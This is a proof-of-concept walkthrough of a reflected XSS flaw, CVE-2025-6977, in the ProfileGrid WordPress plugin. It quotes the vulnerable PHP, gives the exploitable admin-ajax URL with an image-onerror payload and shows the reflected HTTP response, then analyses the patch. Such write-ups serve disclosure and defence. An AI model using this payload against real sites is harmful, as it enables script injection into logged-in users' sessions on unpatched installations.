CVE-2025-6977 Walkthrough

CVE-2025-6977 – Reflected XSS in ProfileGrid WordPress Plugin (Unauthenticated) POC

CVE-2025-6977 – Reflected XSS in ProfileGrid WordPress Plugin (Unauthenticated)

  • Vulnerability Type: Reflected Cross-Site Scripting (XSS)

  • Plugin Affected: ProfileGrid – User Profiles, Groups and Communities

  • Affected Version(s): ≤ 5.9.5.4

  • CVE Discovered By: Kenneth Billones (Wordfence)

  • Exploit PoC Author: CANITEY

Description

The ProfileGrid – User Profiles, Groups and Communities plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the ‘pm_get_messenger_notification’ function in all versions up to, and including, 5.9.5.4 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a logged-in user into performing an action such as clicking on a link.

The vulnerable endpoint is: /wp-admin/admin-ajax.php?action=pm_get_messenger_notification&timestamp=<vulnerable parameter>&activity=&tid=1

Vulnerable snippet

// public/class-profile-magic-public.php
public function pm_get_messenger_notification() { // (1)
	$pmmessenger = new PM_Messenger();
	$timestamp   = filter_input( INPUT_GET, 'timestamp' );
	$activity    = filter_input( INPUT_GET, 'activity' );
	$tid        = filter_input( INPUT_GET, 'tid' );
			 if($tid!=0)
			 {
				$return     = $pmmessenger->pm_get_messenger_notification( $timestamp, $activity, $tid );
				echo $return;
			 }
	die;
}

Before diving into the code snippet above, let's first explain the functions involved.

  1. filter_input(<type>, '<variable name>') this function has 2 main parameters to be passed (we will be introduced to another one shortly),

    1. <type> One of the INPUT_* constants, in our case INPUT_GET this variable means that we will receive data from a get parameter.

    2. <variable name> in our context it means the get parameter name the we will parse the value from.

As shown in the code snippet above.

The function pm_get_messenger_notification uses the filter_input function in 2 positions to get the timestamp value and put it in the corresponding variable. The issue lies in the fact that this implementation the pm_get_messenger_notification function get the value with no filtering or sanitization and pass them to pm_get_messenger_notification method of the $pmmessenger object (that's a different function) and I will explain what is the problem with that via the next code snippet.

//  includes/class-profile-magic-messenger.php
// The snippet is more than 33 line so I cut the unneccessary line
public function pm_get_messenger_notification( $timestamp, $activity, $tid ) {

// -- snip --

			$result = array( 
				'activity'         => $activity,
				'data_changed'     => $data2,
				'typing_timestamp' => $last_change_in_typing,
				'timestamp'        => $last_change_in_thread,
				'timexxx'          =>$timestamp, (2)
				'last_ajax'        =>$last_ajax_call,
			);

					$json =  wp_json_encode( $result );
					 return $json;

	}

			$result =array();
			$json   = wp_json_encode( $result );
			return $json;

}

as shown at (2), the function uses timestamp directly from the passed parameter and return it as in json response, so by passing an XSS payload to the endpoint triggering the pm_get_messenger_notification function at (1) it will pass with no filters to the method pm_get_messenger_notification and then be displayed in response, and because the Content-Type is declared as text/html for the response this would allow the XSS to be executed.


Exploitation

After installing wordpress, with the target version of the plugin, XSS can be triggered via the following endpoing: http://vulnerable.word.press/profilegrid/wp-admin/admin-ajax.php?action=pm_get_messenger_notification&timestamp=1753214905&activity=&tid=1 via the timestamp parameters.

PS: To have the payload reflected to you, you need to have an active session and then visit the URL, other than that the response would be 0


The is the normal response without XSS payload

HTTP/1.1 200 OK
Date: Fri, 25 Jul 2025 17:09:25 GMT
Server: Apache/2.4.58 (Ubuntu)
X-Robots-Tag: noindex
X-Content-Type-Options: nosniff
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0, no-store, private
Referrer-Policy: strict-origin-when-cross-origin
X-Frame-Options: SAMEORIGIN
Vary: Accept-Encoding
Content-Encoding: gzip
Content-Length: 94
Keep-Alive: timeout=5, max=99
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8

{"activity":"","data_changed":true,"typing_timestamp":false,"timestamp":1753459470}

And this is the response while passing <img src=x onerror=alert()> to the timestamp parameter /wp-admin/admin-ajax.php?action=pm_get_messenger_notification&timestamp=%3Cimg%20src=x%20onerror=alert()%3E&activity=ss&tid=4

HTTP/1.1 200 OK
Date: Fri, 25 Jul 2025 17:11:58 GMT
Server: Apache/2.4.58 (Ubuntu)
X-Robots-Tag: noindex
X-Content-Type-Options: nosniff
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0, no-store, private
Referrer-Policy: strict-origin-when-cross-origin
X-Frame-Options: SAMEORIGIN
Vary: Accept-Encoding
Content-Encoding: gzip
Content-Length: 133
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8

{"activity":null,"data_changed":false,"typing_timestamp":false,"timestamp":1753459470,"timexxx":"<img src=x onerror=alert()>","last_ajax":0}

Patch Analysis

The vulnerability was patched in version 5.9.5.5 of the plugin. The developers addressed the issue by sanitizing the timestamp parameter using:

$timestamp = filter_input( INPUT_GET, 'timestamp', FILTER_VALIDATE_INT );

An additional preventive measure — which was not implemented — would have been to explicitly set the response content type to JSON:

header('Content-Type: application/json');

This would instruct the browser to treat the response as pure JSON, thereby blocking script execution, even if malicious content slipped through. While the input sanitization fix neutralizes the attack, setting the correct Content-Type as application/json would further harden the response against XSS.

References

Last updated